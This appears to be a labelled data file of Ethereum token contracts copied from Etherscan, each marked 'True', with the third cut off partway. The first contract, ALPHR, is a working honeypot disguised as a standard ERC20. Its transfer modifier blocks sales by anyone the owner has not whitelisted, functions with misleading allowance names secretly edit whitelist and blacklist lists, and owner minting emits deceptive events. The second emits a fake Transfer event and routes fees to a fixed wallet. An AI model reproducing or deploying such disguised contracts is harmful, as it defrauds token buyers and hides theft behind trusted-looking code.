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/** *Submitted for verification at Etherscan.io on 2021-04-10 */ pragma solidity ^0.6.6; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ALPHR is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
True
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/** *Submitted for verification at Etherscan.io on 2021-11-11 */ /** https://t.me/covidshieldtoken */ pragma solidity ^0.8.4; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract CovidShield is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = " CovidShield"; string private constant _symbol = " CovidShield"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0xbf6a6fE76dB35eeb02046471775F4cAd7EefF52a); _feeAddrWallet2 = payable(0xbf6a6fE76dB35eeb02046471775F4cAd7EefF52a); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x1C9074E716Da04002DAeb21114Cec14B06ff9697), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet2.transfer(amount/10*2); _feeAddrWallet1.transfer(amount/10*8); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
True
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/** *Submitted for verification at Etherscan.io on 2021-11-08 */ //SPDX-License-Identifier: MIT // Telegram: https://t.me/ElonRollToken pragma solidity ^0.8.4; address constant ROUTER_ADDRESS=0x690f08828a4013351DB74e916ACC16f558ED1579; // mainnet uint256 constant TOTAL_SUPPLY=100000000 * 10**8; address constant UNISWAP_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; string constant TOKEN_NAME="Elon Roll"; string constant TOKEN_SYMBOL="ELONROLL"; uint8 constant DECIMALS=8; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns 